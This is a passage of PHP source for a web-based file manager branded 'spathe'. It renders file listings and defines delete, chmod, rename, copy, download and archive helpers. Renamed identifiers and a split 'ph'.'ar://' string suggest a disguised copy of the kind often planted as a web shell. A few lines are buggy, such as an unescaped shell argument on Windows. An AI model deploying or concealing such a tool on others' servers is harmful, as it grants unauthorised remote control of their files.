<a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, '1028','<?php echo lng('Delete').' '.lng('Folder'); ?>','<?php echo urlencode($f) ?>', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
<a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
<a title="<?php echo lng('CopyTo')?>..." href="?p=&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
<?php endif; ?>
<a title="<?php echo lng('DirectLink')?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
</td>
</tr>
<?php
flush();
$uu++;
}
$ik = 6070;
foreach ($files as $f) {
$is_link = is_link($path . '/' . $f);
$img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
$modif_raw = filemtime($path . '/' . $f);
$modif = date(FM_DATETIME_FORMAT, $modif_raw);
$date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
$filesize_raw = fm_get_size($path . '/' . $f);
$filesize = fm_get_filesize($filesize_raw);
$filelink = '?p=' . urlencode(FM_PATH) . '&view=' . urlencode($f);
$all_files_size += $filesize_raw;
$perms = substr(decoct(fileperms($path . '/' . $f)), -4);
if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
$owner = posix_getpwuid(fileowner($path . '/' . $f));
$group = posix_getgrgid(filegroup($path . '/' . $f));
if ($owner === false) {
$owner = array('name' => '?');
}
if ($group === false) {
$group = array('name' => '?');
}
} else {
$owner = array('name' => '?');
$group = array('name' => '?');
}
?>
<tr>
<?php if (!FM_READONLY): ?>
<td class="custom-checkbox-td">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fanco($f) ?>">
<label class="custom-control-label" for="<?php echo $ik ?>"></label>
</div>
</td><?php endif; ?>
<td data-sort=<?php echo fanco($f) ?>>
<div class="filename">
<?php
if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?>
<?php $imagePreview = fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
<a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fanco($f) ?>">
<?php else: ?>
<a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
<?php endif; ?>
<i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
</a>
<?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
</div>
</td>
<td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
<?php echo $filesize; ?>
</span></td>
<td data-order="b-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
<?php if (!FM_IS_WIN and !$hide_Cols): ?>
<td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
</td>
<td><?php echo fanco($owner['name'] . ':' . $group['name']) ?></td>
<?php endif; ?>
<td class="inline-actions">
<?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete').' '.lng('File'); ?>','<?php echo urlencode($f); ?>', this.href);"> <i class="fa fa-trash-o"></i></a>
<a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
<a title="<?php echo lng('CopyTo') ?>..."
href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
<?php endif; ?>
<a title="<?php echo lng('DirectLink') ?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
<a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, '<?php echo lng('Download'); ?>','<?php echo urlencode($f); ?>', this.href);"><i class="fa fa-download"></i></a>
</td>
</tr>
<?php
flush();
$ik++;
}
if (empty($folders) and empty($files)) { ?>
<tfoot>
<tr><?php if (!FM_READONLY): ?>
<td></td><?php endif; ?>
<td colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td>
</tr>
</tfoot>
<?php
} else { ?>
<tfoot>
<tr>
<td class="gray" colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? (FM_READONLY ? '6' :'7') : (FM_READONLY ? '4' : '5') ?>">
<?php echo lng('FullSize').': <span class="badge text-bg-light border-radius-0">'.fm_get_filesize($all_files_size).'</span>' ?>
<?php echo lng('File').': <span class="badge text-bg-light border-radius-0">'.$num_files.'</span>' ?>
<?php echo lng('Folder').': <span class="badge text-bg-light border-radius-0">'.$num_folders.'</span>' ?>
</td>
</tr>
</tfoot>
<?php } ?>
</table>
</div>
<div class="row">
<?php if (!FM_READONLY): ?>
<div class="col-xs-12 col-sm-9">
<ul class="list-inline footer-action">
<li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li>
<li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li>
<li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')">
<a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
<a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
<a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
<a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li>
</ul>
</div>
<div class="col-3 d-none d-sm-block"><a href="." target="_blank" class="float-right text-muted">spathe <?php echo VERSION; ?></a></div>
<?php else: ?>
<div class="col-12"><a href="." target="_blank" class="float-right text-muted">spathe <?php echo VERSION; ?></a></div>
<?php endif; ?>
</div>
</form>
<?php
fm_show_footer();
function print_external($key) {
global $external;
if(!array_key_exists($key, $external)) {
// throw new Exception('Key missing in external: ' . key);
echo "<!-- EXTERNAL: MISSING KEY $key -->";
return;
}
echo "$external[$key]";
}
function verifyToken($token)
{
if (hash_equals($_SESSION['token'], $token)) {
return true;
}
return false;
}
/**
* Delete file or folder (recursively)
* @param string $path
* @return bool
*/
function fm_rdelete($path)
{
if (is_link($path)) {
return unlink($path);
} elseif (is_dir($path)) {
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (!fm_rdelete($path . '/' . $file)) {
$ok = false;
}
}
}
}
return ($ok) ? rmdir($path) : false;
} elseif (is_file($path)) {
return unlink($path);
}
return false;
}
function fm_rchmod($path, $filemode, $dirmode)
{
if (is_dir($path)) {
if (!chmod($path, $dirmode)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
return false;
}
}
}
}
return true;
} elseif (is_link($path)) {
return true;
} elseif (is_file($path)) {
return chmod($path, $filemode);
}
return false;
}
function fm_is_valid_ext($filename)
{
$allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;
$ext = pathinfo($filename, PATHINFO_EXTENSION);
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
return ($isFileAllowed) ? true : false;
}
function fm_rename($old, $new)
{
$isFileAllowed = fm_is_valid_ext($new);
if(!is_dir($old)) {
if (!$isFileAllowed) return false;
}
return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null;
}
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
if (is_dir($path)) {
if (!fm_mkdir($dest, $force)) {
return false;
}
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
$ok = false;
}
}
}
}
return $ok;
} elseif (is_file($path)) {
return fm_copy($path, $dest, $upd);
}
return false;
}
function fm_mkdir($dir, $force)
{
if (file_exists($dir)) {
if (is_dir($dir)) {
return $dir;
} elseif (!$force) {
return false;
}
unlink($dir);
}
return mkdir($dir, 0777, true);
}
function fm_copy($f1, $f2, $upd)
{
$time1 = filemtime($f1);
if (file_exists($f2)) {
$time2 = filemtime($f2);
if ($time2 >= $time1 and $upd) {
return false;
}
}
$ok = copy($f1, $f2);
if ($ok) {
touch($f2, $time1);
}
return $ok;
}
function fm_get_mime_type($file_path)
{
if (function_exists('finfo_open')) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file_path);
finfo_close($finfo);
return $mime;
} elseif (function_exists('mime_content_type')) {
return mime_content_type($file_path);
} elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
$file = escapeshellarg($file_path);
$mime = shell_exec('file -bi ' . $file);
return $mime;
} else {
return '--';
}
}
function fm_redirect($url, $code = 302)
{
header('Location: ' . $url, true, $code);
exit;
}
function get_absolute_path($path) {
$path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
$parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
$absolutes = array();
foreach ($parts as $part) {
if ('.' == $part) continue;
if ('..' == $part) {
array_pop($absolutes);
} else {
$absolutes[] = $part;
}
}
return implode(DIRECTORY_SEPARATOR, $absolutes);
}
function fm_clean_path($path, $trim = true)
{
$path = $trim ? trim($path) : $path;
$path = trim($path, '\\/');
$path = str_replace(array('../', '..\\'), '', $path);
$path = get_absolute_path($path);
if ($path == '..') {
$path = '';
}
return str_replace('\\', '/', $path);
}
function fm_get_parent_path($path)
{
$path = fm_clean_path($path);
if ($path != '') {
$array = explode('/', $path);
if (count($array) > 1) {
$array = array_slice($array, 0, -1);
return implode('/', $array);
}
return '';
}
return false;
}
function fm_get_display_path($file_path)
{
global $path_display_mode, $root_path, $root_url;
switch ($path_display_mode) {
case 'relative':
return array(
'label' => 'Path',
'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path)))
);
case 'host':
$relative_path = str_replace($root_path, '', $file_path);
return array(
'label' => 'Host Path',
'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/')))
);
case 'full':
default:
return array(
'label' => 'Full Path',
'path' => fanco(fm_convert_win($file_path))
);
}
}
function fm_is_exclude_items($file) {
$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
if (isset($exclude_items) and sizeof($exclude_items)) {
unset($exclude_items);
}
$exclude_items = FM_EXCLUDE_ITEMS;
if (version_compare(PHP_VERSION, '7.0.0', '<')) {
$exclude_items = unserialize($exclude_items);
}
if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) {
return true;
}
return false;
}
function fm_get_translations($tr) {
try {
$content = @file_get_contents('translation.json');
if($content !== FALSE) {
$lng = json_decode($content, TRUE);
global $lang_list;
foreach ($lng["language"] as $key => $value)
{
$code = $value["code"];
$lang_list[$code] = $value["name"];
if ($tr)
$tr[$code] = $value["translation"];
}
return $tr;
}
}
catch (Exception $e) {
echo $e;
}
}
function fm_get_size($file)
{
static $iswin;
static $isdarwin;
if (!isset($iswin)) {
$iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
}
if (!isset($isdarwin)) {
$isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
}
static $exec_works;
if (!isset($exec_works)) {
$exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC');
}
// try a shell command
if ($exec_works) {
$arg = escapeshellarg($file);
$cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
@exec($cmd, $output);
if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) {
return $size;
}
}
// try the Windows COM interface
if ($iswin and class_exists("COM")) {
try {
$fsobj = new COM('Scripting.FileSystemObject');
$f = $fsobj->GetFile( realpath($file) );
$size = $f->Size;
} catch (Exception $e) {
$size = null;
}
if (ctype_digit($size)) {
return $size;
}
}
// if all else fails
return filesize($file);
}
function fm_get_filesize($size)
{
$size = (float) $size;
$units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
$power = ($size > 0) ? floor(log($size, 1024)) : 0;
$power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power;
return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}
function fm_get_directorysize($directory) {
$bytes = 0;
$directory = realpath($directory);
if ($directory !== false and $directory != '' and file_exists($directory)){
foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){
$bytes += $file->getSize();
}
}
return $bytes;
}
function fm_get_zif_info($path, $ext) {
if ($ext == 'zip' and function_exists('zip_open')) {
$arch = @zip_open($path);
if ($arch) {
$filenames = array();
while ($zip_entry = @zip_read($arch)) {
$zip_name = @zip_entry_name($zip_entry);
$zip_folder = substr($zip_name, -1) == '/';
$filenames[] = array(
'name' => $zip_name,
'filesize' => @zip_entry_filesize($zip_entry),
'compressed_size' => @zip_entry_compressedsize($zip_entry),
'folder' => $zip_folder
);
}
@zip_close($arch);
return $filenames;
}
} elseif($ext == 'tar' and class_exists('PharData')) {
$archive = new PharData($path);
$filenames = array();
foreach(new RecursiveIteratorIterator($archive) as $file) {
$parent_info = $file->getPathInfo();
$zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName());
$zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
$zip_folder = $parent_info->getFileName();
$zip_info = new SplFileInfo($file);
$filenames[] = array(
'name' => $zip_name,
'filesize' => $zip_info->getSize(),
'compressed_size' => $file->getCompressedSize(),
'folder' => $zip_folder
);
}
return $filenames;
}
return false;
}
function fanco($text)
{
return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}
function fm_isvalid_filename($text) {
return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}
function fm_set_msg($msg, $status = 'ok')
{
$_SESSION[DN_CESSION_ID]['message'] = $msg;
$_SESSION[DN_CESSION_ID]['status'] = $status;
}
function fm_is_utf8($string)
{
return preg_match('//u', $string);
}
function fm_convert_win($filename)
{
if (FM_IS_WIN and function_exists('iconv')) {
$filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
}
return $filename;
}
function fm_object_to_array($obj)
{
if (!is_object($obj) and !is_array($obj)) {
return $obj;
}
if (is_object($obj)) {
$obj = get_object_vars($obj);
}
return array_map('fm_object_to_array', $obj);
}
function fm_get_file_icon_class($path)
{
// get extension
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
switch ($ext) {
case 'ico':
case 'gif':
case 'jpg':
case 'jpeg':
case 'jpc':
case 'jp2':
case 'jpx':
case 'xbm':
case 'wbmp':
case 'png':
case 'bmp':
case 'tif':
case 'tiff':
case 'webp':
case 'avif':
case 'svg':
$img = 'fa fa-picture-o';
break;
case 'passwd':
case 'ftpquota':
case 'sql':
case 'js':
case 'ts':
case 'jsx':
case 'tsx':
case 'hbs':
case 'json':
case 'sh':
case 'config':
case 'twig':
case 'tpl':
case 'md':
case 'gitignore':
case 'c':
case 'cpp':
case 'cs':
case 'py':
case 'rs':
case 'map':
case 'lock':
case 'dtd':
$img = 'fa fa-file-code-o';
break;
case 'txt':
case 'ini':
case 'conf':
case 'log':
case 'htaccess':
case 'yaml':
case 'yml':
case 'toml':
case 'tmp':
case 'top':
case 'bot':
case 'dat':
case 'bak':
case 'htpasswd':
case 'pl':
$img = 'fa fa-file-text-o';
break;
case 'css':
case 'less':
case 'sass':
case 'scss':
$img = 'fa fa-css3';
break;
case 'bz2':
case 'tbz2':
case 'tbz':
case 'zip':
case 'rar':
case 'gz':
case 'tgz':
case 'tar':
case '7z':
case 'xz':
case 'txz':
case 'zst':
case 'tzst':
$img = 'fa fa-file-archive-o';
break;
case 'php':
case 'php4':
case 'php5':
case 'phps':
case 'phtml':
$img = 'fa fa-code';
break;
case 'htm':
case 'html':
case 'shtml':
case 'xhtml':
$img = 'fa fa-html5';
break;
case 'xml':
case 'xsl':
$img = 'fa fa-file-excel-o';
break;
case 'wav':
case 'mp3':
case 'mp2':
case 'm4a':
case 'aac':
case 'ogg':
case 'oga':
case 'wma':
case 'mka':
case 'flac':
case 'ac3':
case 'tds':
$img = 'fa fa-music';
break;
case 'm3u':
case 'm3u8':
case 'pls':
case 'cue':
case 'xspf':
$img = 'fa fa-headphones';
break;
case 'avi':
case 'mpg':
case 'mpeg':
case 'mp4':
case 'm4v':
case 'flv':
case 'f4v':
case 'ogm':
case 'ogv':
case 'mov':
case 'mkv':
case '3gp':
case 'asf':
case 'wmv':
case 'webm':
$img = 'fa fa-file-video-o';
break;
case 'eml':
case 'msg':
$img = 'fa fa-envelope-o';
break;
case 'xls':
case 'xlsx':
case 'ods':
$img = 'fa fa-file-excel-o';
break;
case 'csv':
$img = 'fa fa-file-text-o';
break;
case 'bak':
case 'swp':
$img = 'fa fa-clipboard';
break;
case 'doc':
case 'docx':
case 'odt':
$img = 'fa fa-file-word-o';
break;
case 'ppt':
case 'pptx':
$img = 'fa fa-file-powerpoint-o';
break;
case 'ttf':
case 'ttc':
case 'otf':
case 'woff':
case 'woff2':
case 'eot':
case 'fon':
$img = 'fa fa-font';
break;
case 'pdf':
$img = 'fa fa-file-pdf-o';
break;
case 'psd':
case 'ai':
case 'eps':
case 'fla':
case 'swf':
$img = 'fa fa-file-image-o';
break;
case 'exe':
case 'msi':
$img = 'fa fa-file-o';
break;
case 'bat':
$img = 'fa fa-terminal';
break;
default:
$img = 'fa fa-info-circle';
}
return $img;
}
function fm_get_image_exts()
{
return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}
function fm_get_video_exts()
{
return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}
function fm_get_audio_exts()
{
return array('wav', 'mp3', 'ogg', 'm4a');
}
function fm_get_text_exts()
{
return array(
'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config',
'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue',
'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift',
'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml',
'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars',
'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl'
);
}
function fm_get_text_mimes()
{
return array(
'application/xml',
'application/javascript',
'application/x-javascript',
'image/svg+xml',
'message/rfc822',
'application/json',
);
}
function fm_get_text_names()
{
return array(
'license',
'readme',
'authors',
'contributors',
'changelog',
);
}
function fm_get_onlineViewer_exts()
{
return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}
function fm_get_file_mimes($extension)
{
$fileTypes['swf'] = 'application/x-shockwave-flash';
$fileTypes['pdf'] = 'application/pdf';
$fileTypes['exe'] = 'application/octet-stream';
$fileTypes['zip'] = 'application/zip';
$fileTypes['doc'] = 'application/msword';
$fileTypes['xls'] = 'application/vnd.ms-excel';
$fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
$fileTypes['gif'] = 'image/gif';
$fileTypes['png'] = 'image/png';
$fileTypes['jpeg'] = 'image/jpg';
$fileTypes['jpg'] = 'image/jpg';
$fileTypes['webp'] = 'image/webp';
$fileTypes['avif'] = 'image/avif';
$fileTypes['rar'] = 'application/rar';
$fileTypes['ra'] = 'audio/x-pn-realaudio';
$fileTypes['ram'] = 'audio/x-pn-realaudio';
$fileTypes['ogg'] = 'audio/x-pn-realaudio';
$fileTypes['wav'] = 'video/x-msvideo';
$fileTypes['wmv'] = 'video/x-msvideo';
$fileTypes['avi'] = 'video/x-msvideo';
$fileTypes['asf'] = 'video/x-msvideo';
$fileTypes['divx'] = 'video/x-msvideo';
$fileTypes['mp3'] = 'audio/mpeg';
$fileTypes['mp4'] = 'audio/mpeg';
$fileTypes['mpeg'] = 'video/mpeg';
$fileTypes['mpg'] = 'video/mpeg';
$fileTypes['mpe'] = 'video/mpeg';
$fileTypes['mov'] = 'video/quicktime';
$fileTypes['swf'] = 'video/quicktime';
$fileTypes['3gp'] = 'video/quicktime';
$fileTypes['m4a'] = 'video/quicktime';
$fileTypes['aac'] = 'video/quicktime';
$fileTypes['m3u'] = 'video/quicktime';
$fileTypes['php'] = ['application/x-php'];
$fileTypes['html'] = ['text/html'];
$fileTypes['txt'] = ['text/plain'];
//Unknown mime-types should be 'application/octet-stream'
if(empty($fileTypes[$extension])) {
$fileTypes[$extension] = ['application/octet-stream'];
}
return $fileTypes[$extension];
}
function scan($dir = '', $filter = '') {
$path = FM_ROOT_PATH.'/'.$dir;
if($path) {
$ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
$rii = new RegexIterator($ite, "/(" . $filter . ")/i");
$files = array();
foreach ($rii as $file) {
if (!$file->isDir()) {
$fileName = $file->getFilename();
$location = str_replace(FM_ROOT_PATH, '', $file->getPath());
$files[] = array(
"name" => $fileName,
"type" => "file",
"path" => $location,
);
}
}
return $files;
}
}
function fm_download_file($fileLocation, $fileName, $chunkSize = 1024)
{
if (connection_status() != 0)
return (false);
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$contentType = fm_get_file_mimes($extension);
$size = filesize($fileLocation);
if ($size == 0) {
fm_set_msg(lng('Zero byte file! Aborting download'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
return (false);
}
@ini_set('magic_quotes_runtime', 0);
$fp = fopen("$fileLocation", "rb");
if ($fp === false) {
fm_set_msg(lng('Cannot open file! Aborting download'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
return (false);
}
// headers
header('Content-Description: File Transfer');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header("Content-Transfer-Encoding: binary");
header("Content-Type: $contentType");
$contentDisposition = 'attachment';
if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
$fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
} else {
header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
}
header("Accept-Ranges: bytes");
$range = 0;
if (isset($_SERVER['HTTP_RANGE'])) {
list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
str_replace($range, "-", $range);
$size2 = $size - 1;
$new_length = $size - $range;
header("HTTP/1.1 206 Partial Content");
header("Content-Length: $new_length");
header("Content-Range: bytes $range$size2/$size");
} else {
$size2 = $size - 1;
header("Content-Range: bytes 0-$size2/$size");
header("Content-Length: " . $size);
}
$fileLocation = realpath($fileLocation);
while (ob_get_level()) ob_end_clean();
readfile($fileLocation);
fclose($fp);
return ((connection_status() == 0) and !connection_aborted());
}
function fm_get_theme() {
$result = '';
if(FM_THEME == "dark") {
$result = "text-white bg-dark";
}
return $result;
}
class FM_Zipper
{
private $zip;
public function __construct()
{
$this->zip = new ZipArchive();
}
public function create($filename, $files)
{
$res = $this->zip->open($filename, ZipArchive::CREATE);
if ($res !== true) {
return false;
}
if (is_array($files)) {
foreach ($files as $f) {
$f = fm_clean_path($f);
if (!$this->addFileOrDir($f)) {
$this->zip->close();
return false;
}
}
$this->zip->close();
return true;
} else {
if ($this->addFileOrDir($files)) {
$this->zip->close();
return true;
}
return false;
}
}
public function unzip($filename, $path)
{
$res = $this->zip->open($filename);
if ($res !== true) {
return false;
}
if ($this->zip->extractTo($path)) {
$this->zip->close();
return true;
}
return false;
}
private function addFileOrDir($filename)
{
if (is_file($filename)) {
return $this->zip->addFile($filename);
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
private function addDir($path)
{
if (!$this->zip->addEmptyDir($path)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (is_dir($path . '/' . $file)) {
if (!$this->addDir($path . '/' . $file)) {
return false;
}
} elseif (is_file($path . '/' . $file)) {
if (!$this->zip->addFile($path . '/' . $file)) {
return false;
}
}
}
}
return true;
}
return false;
}
}
class FM_Zipper_Tar
{
private $tar;
public function __construct()
{
$this->tar = null;
}
public function create($filename, $files)
{
$this->tar = new PharData($filename);
if (is_array($files)) {
foreach ($files as $f) {
$f = fm_clean_path($f);
if (!$this->addFileOrDir($f)) {
return false;
}
}
return true;
} else {
if ($this->addFileOrDir($files)) {
return true;
}
return false;
}
}
public function unzip($filename, $path)
{
$res = $this->tar->open($filename);
if ($res !== true) {
return false;
}
if ($this->tar->extractTo($path)) {
return true;
}
return false;
}
/**
* Add file/folder to archive
* @param string $filename
* @return bool
*/
private function addFileOrDir($filename)
{
if (is_file($filename)) {
try {
$this->tar->addFile($filename);
return true;
} catch (Exception $e) {
return false;
}
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
private function addDir($path)
{
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (is_dir($path . '/' . $file)) {
if (!$this->addDir($path . '/' . $file)) {
return false;
}
} elseif (is_file($path . '/' . $file)) {
try {
$this->tar->addFile($path . '/' . $file);
} catch (Exception $e) {
return false;
}
}
}
}
return true;
}
return false;
}
}
class FM_Config
{
var $data;
function __construct()
{
global $root_path, $root_url, $CONFIG;
$fm_url = $root_url.$_SERVER["PHP_SELF"];
$this->data = array(
'lang' => 'en',
'error_reporting' => true,
'show_hidden' => true
);
$data = false;
if (strlen($CONFIG)) {
$data = fm_object_to_array(json_decode($CONFIG));
} else {
$msg = 'spathe<br>Error: Cannot load configuration';
if (substr($fm_url, -1) == '/') {
$fm_url = rtrim($fm_url, '/');
$msg .= '<br>';
$msg .= '<br>Seems like you have a trailing slash on the URL.';
$msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
}
die($msg);
}
if (is_array($data) and count($data)) $this->data = $data;
else $this->save();
}
function save()
{
$fm_file = __FILE__;
$var_name = '$CONFIG';
$var_value = var_export(json_encode($this->data), true);
$config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
if (is_writable($fm_file)) {
$lines = file($fm_file);
if ($fh = @fopen($fm_file, "w")) {
@fputs($fh, $config_string, strlen($config_string));
for ($x = 3; $x < count($lines); $x++) {
@fputs($fh, $lines[$x], strlen($lines[$x]));
}
@fclose($fh);
}
}
}
}
function fm_show_nav_path($path)
{
global $lang, $sticky_navbar, $editFile;
